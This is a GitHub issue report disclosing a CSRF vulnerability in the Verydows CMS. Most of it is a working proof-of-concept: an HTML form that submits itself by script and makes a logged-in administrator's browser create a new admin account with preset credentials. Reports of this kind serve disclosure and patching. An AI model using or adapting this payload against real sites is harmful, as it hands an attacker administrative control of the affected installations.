Skip to content

CSRF Vulnerability that can add admin user #10

Closed
@TomAPU

Description

@TomAPU

A CSRF vulnerability was found in this cms.
Logged-in administrator user may add another administrator account by clicking following POC

<form action="http://thewind/verydows/index.php?m=backend&c=admin&a=add&step=submit" id="test" method="post">
<!--Change the url when testing!-->
<input type=text name="username" value="TomAPU" />
<input type=text name="password" value="123456" />
<input type=text name="resetpwd" value="1" />
<input type=text name="repassword" value="123456" />
<input type=text name="name" value="TomAPU" />
<input type=text name="email" value="admin@pornhub.com" />
</form>
<script>
var f=document.getElementById("test");
f.submit();
</script>

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions